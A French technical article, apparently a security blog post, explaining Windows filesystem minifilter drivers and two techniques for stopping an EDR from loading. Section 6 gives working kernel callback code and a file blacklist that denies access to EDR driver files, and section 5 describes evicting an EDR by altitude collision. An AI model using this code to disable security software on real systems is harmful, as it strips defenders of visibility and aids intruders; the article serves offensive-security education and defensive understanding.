<index> / <windows-internals> / minifilters
[ en | fr ]
┌───────────────────────┐
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
└───────────────────────┘
Windows Minifilters
~ bonziski
Ecris par bonziski — https://github.com/Yannis-Zribi

SOMMAIRE
  0  le besoin — surveiller les accès au système de fichiers
  1  legacy filters — l'ancienne méthode
  2  minifilters — l'architecture moderne
  3  altitude et ordre de chargement
  4  routines pre-operation et post-operation
  5  bypass — le mal de l'altitude
  6  bypass — byom et blacklist de fichiers EDR
  7  squelette de minifilter (code)
  8  limites

──[ 0. Le Besoin — Surveiller les Accès au Système de Fichiers ]──

L'accès au système de fichiers (create, read, write, delete) c'est une des 
sources de télémétrie les plus riches pour les produits de sécurité. Un
ransomware se trahit par ses patterns d'écriture, de l'exfil par des patterns de
lecture, les mécanismes de persistance touchent des fichiers spécifiques liés au
registre. Plusieurs approches pour monitorer les I/O :
    Logs d'événements Windows (EVTX) — latence élevée, lossy, ne bloque rien
    Hook des fonctions I/O            — fragile, cassé par tout patching
    Drivers de filtre fs              — la bonne approche, supportée

──[ 1. Legacy Filters — L'Ancienne Méthode ]──

Première génération de moniteurs fs : les Legacy Filters. Ils s'attachaient 
direct à la chaîne d'I/O Request Packet (IRP), entre l'I/O Manager et le driver
fs.
flowchart TD
    App["Application (User Mode)"]
    IM["I/O Manager"]
    FA["Legacy Filter A"]
    FB["Legacy Filter B"]
    FS["File System Driver"]

    App -->|"requête fichier"| IM
    IM -->|"IRP"| FA
    FA -->|"passer / modifier / bloquer"| FB
    FB --> FS
Architecture des legacy filters
Problèmes des legacy filters :
    - Les filtres se battaient pour leur place dans la chaîne (qui passe
      en premier ?)
    - Chaque filtre devait forwarder l'IRP au suivant — bugs = deadlocks,
      completions ratées, doubles completions
    - Pas d'autorité centrale ; Microsoft ne pouvait ni auditer ni
      contrôler la chaîne

──[ 2. Minifilters — L'Architecture Moderne ]──

Microsoft a remplacé les legacy filters par le modèle des minifilters et ajouté 
un gestionnaire central : le Filter Manager.
flowchart TD
    App["Application (User Mode)"]
    IM["I/O Manager"]
    FM["Filter Manager (fltmgr.sys)"]
    MFA["Minifilter A (altitude haute)"]
    MFB["Minifilter B (altitude basse)"]
    FS["File System Driver"]

    App -->|"requête fichier"| IM
    IM -->|"IRP"| FM
    FM --> MFA
    FM --> MFB
    FM --> FS
Architecture minifilter — modèle Filter Manager
Le Filter Manager :
    - Prend tous les IRP et les distribue aux minifilters enregistrés
    - Impose l'ordre via les valeurs d'altitude
    - Gère le cycle de vie des minifilters (load / unload)
    - Fournit des APIs utilitaires (FltGetFileNameInformation, etc.)

Les minifilters n'implémentent que les callbacks des opérations qui les 
intéressent. Le Filter Manager s'occupe du routage.
──[ 3. Altitude et Ordre de Chargement ]──

Chaque minifilter a une altitude statique (un nombre décimal). Altitude plus 
haute = appelé plus tôt à la descente, plus tard à la remontée.
    Les plages d'altitude définissent des catégories de drivers :

        420000–429999   FSFilter Activity Monitor
        400000–409999   FSFilter Undelete
        320000–329999   FSFilter Anti-Virus
        260000–269999   FSFilter Replication
        ...
Table des types de démarrage des drivers
Groupes d'ordre de chargement — référence des plages d'altitude
Le Filter Manager garantit :
    - Deux minifilters ne peuvent pas avoir la même altitude
    - L'altitude définit l'ordre de chargement et l'ordre d'appel

Voir les minifilters actuellement chargés :
    fltmc
Sortie fltmc — MyMiniFilter à l'altitude 385200
──[ 4. Routines Pre-Op et Post-Op ]──

Chaque minifilter enregistre deux callbacks optionnels par type d'opération :
    Pre-operation (PreXxx)
        Appelée avant que l'IRP n'atteigne le driver fs.
        Peut inspecter, modifier, rediriger ou bloquer la requête.
        Valeurs de retour :
            FLT_PREOP_SUCCESS_WITH_CALLBACK    — passer, appeler post-op après
            FLT_PREOP_SUCCESS_NO_CALLBACK      — passer, sauter le post-op
            FLT_PREOP_COMPLETE                 — compléter l'IRP maintenant

    Post-operation (PostXxx)
        Appelée après que le driver fs a traité l'IRP.
        Peut inspecter ou modifier le résultat.
        Appelée dans l'ordre d'altitude inversé (le plus bas en premier
        à la remontée).
sequenceDiagram
    participant FM as Filter Manager
    participant A as Minifilter A (alt 400000)
    participant B as Minifilter B (alt 300000)
    participant FS as File System

    FM->>A: Pre-op (descente)
    A-->>FM: continuer
    FM->>B: Pre-op
    B-->>FM: continuer
    FM->>FS: IRP
    FS-->>FM: résultat
    FM->>B: Post-op (remontée, le plus bas en premier)
    FM->>A: Post-op
Ordre d'appel pre/post-op par altitude
──[ 5. Bypass — Le Mal de l'Altitude ]──

Un seul minifilter peut occuper une altitude donnée. Si ton minifilter se charge 
en premier à la même altitude que celui de l'EDR, le minifilter de l'EDR ne se
charge pas. En pratique très dur :
    1. Faut connaître l'altitude exacte de l'EDR, qui peut être dynamique
       — certains EDR ont une partie entière fixe (pour le groupe d'ordre
       de chargement) mais calculent la partie décimale au boot, donc
       impossible à prédire.

    2. Des EDR comme Windows Defender surveillent les appels à
       FltRegisterFilter et bloquent activement les enregistrements à
       leur propre altitude (WdFilter).

    3. Même en cas de succès, l'EDR repérera probablement le load raté
       et lèvera une alerte.

La technique existe et a été démontrée en environnement contrôlé, mais c'est 
rarement praticable en vrai.
Clé de registre — altitude SysmonDrv modifiée pour matcher la cible
fltmc après reboot — minifilter en conflit évincé
──[ 6. Bypass — BYOM et Blacklist de Fichiers EDR ]──

Plus exploitable : tu enregistres ton propre minifilter à une altitude plus 
haute que celle de l'EDR, tu interceptes les IRP_MJ_CREATE, et tu refuses
l'accès au fichier .sys de l'EDR (et à tout autre fichier dont il a besoin pour
se charger depuis le disque). Si le fichier du driver minifilter ne peut pas être ouvert, il ne peut pas être
chargé.
MyMiniFilter bloquant l'accès aux fichiers — avant le bypass BYOM
Squelette de callback pre-create :
        FLT_PREOP_CALLBACK_STATUS PreCreateCallback(
            _Inout_ PFLT_CALLBACK_DATA Data,
            _In_ PCFLT_RELATED_OBJECTS FltObjects,
            _Outptr_ PVOID *CompletionContext)
        {
            // Ne traiter que IRP_MJ_CREATE
            if (Data->Iopb->MajorFunction != IRP_MJ_CREATE)
                return FLT_PREOP_SUCCESS_NO_CALLBACK;

            // Récupérer le nom du fichier cible
            PFLT_FILE_NAME_INFORMATION info;
            if (!NT_SUCCESS(FltGetFileNameInformation(
                    Data,
                    FLT_FILE_NAME_NORMALIZED | FLT_FILE_NAME_QUERY_DEFAULT,
                    &info)))
                return FLT_PREOP_SUCCESS_NO_CALLBACK;

            // Comparer à la blacklist
            for (ULONG i = 0; i < BLOCKED_COUNT; i++) {
                if (RtlSuffixUnicodeString(&BlockedFiles[i],
                                           &info->Name, TRUE)) {
                    Data->IoStatus.Status = STATUS_ACCESS_DENIED;
                    FltReleaseFileNameInformation(info);
                    return FLT_PREOP_COMPLETE;   // bloquer l'ouverture
                }
            }

            FltReleaseFileNameInformation(info);
            return FLT_PREOP_SUCCESS_NO_CALLBACK;
        }
Définition de la blacklist :
        UNICODE_STRING BlockedFiles[] = {
            RTL_CONSTANT_STRING(L"edr_minifilter.sys"),
            RTL_CONSTANT_STRING(L"edr_core.sys"),
        };
        #define BLOCKED_COUNT (sizeof(BlockedFiles) / sizeof(UNICODE_STRING))
Une fois ce minifilter chargé via un .inf et après reboot, les fichiers du 
driver de l'EDR ne peuvent plus être ouverts, donc l'EDR ne se charge pas.
fltmc après BYOM — minifilter EDR remplacé
──[ 7. Squelette de Minifilter (Code) ]──

Minifilter minimal mais compilable :
    #include <fltKernel.h>

    PFLT_FILTER gFilterHandle;

    FLT_PREOP_CALLBACK_STATUS PreCreateCallback(
        _Inout_ PFLT_CALLBACK_DATA Data,
        _In_ PCFLT_RELATED_OBJECTS FltObjects,
        _Outptr_result_maybenull_ PVOID *CompletionContext)
    {
        UNREFERENCED_PARAMETER(FltObjects);
        UNREFERENCED_PARAMETER(CompletionContext);
        // ... logique custom ici
        return FLT_PREOP_SUCCESS_NO_CALLBACK;
    }

    CONST FLT_OPERATION_REGISTRATION Callbacks[] = {
        { IRP_MJ_CREATE, 0, PreCreateCallback, NULL },
        { IRP_MJ_OPERATION_END }
    };

    NTSTATUS FilterUnload(_In_ FLT_FILTER_UNLOAD_FLAGS Flags) {
        UNREFERENCED_PARAMETER(Flags);
        FltUnregisterFilter(gFilterHandle);
        return STATUS_SUCCESS;
    }

    CONST FLT_REGISTRATION FilterReg = {
        sizeof(FLT_REGISTRATION), FLT_REGISTRATION_VERSION,
        0, NULL, Callbacks, FilterUnload,
        NULL, NULL, NULL, NULL, NULL, NULL, NULL
    };

    NTSTATUS DriverEntry(
        _In_ PDRIVER_OBJECT DriverObject,
        _In_ PUNICODE_STRING RegistryPath)
    {
        UNREFERENCED_PARAMETER(RegistryPath);

        NTSTATUS s = FltRegisterFilter(DriverObject, &FilterReg,
                                       &gFilterHandle);
        if (!NT_SUCCESS(s)) return s;
        return FltStartFiltering(gFilterHandle);
    }
Désinstallation manuelle :
    fltmc unload <FilterName>
    sc delete <FilterName>
    del C:\Windows\System32\drivers\<FilterName>.sys
──[ 8. Limites ]──

Toutes les techniques de bypass basées sur les minifilters ont les mêmes 
contraintes :
    - Droits admin requis — lister, créer et modifier des minifilters
      demande tout ça en local admin ou SYSTEM. Ces attaques n'ont
      d'intérêt qu'une fois déjà bien implanté.

    - Les EDR surveillent l'enregistrement des minifilters — enregistrer
      un nouveau minifilter ou modifier une altitude est en soi un signal
      de détection à forte confiance que pas mal d'EDR alertent et
      bloquent.

    - Tous les EDR n'utilisent pas de minifilters — certains ont d'autres
      mécanismes d'interception fs. Connaître les minifilters reste utile
      pour comprendre la couverture d'un EDR donné sur les opérations fs.
Schéma de référence des minifilters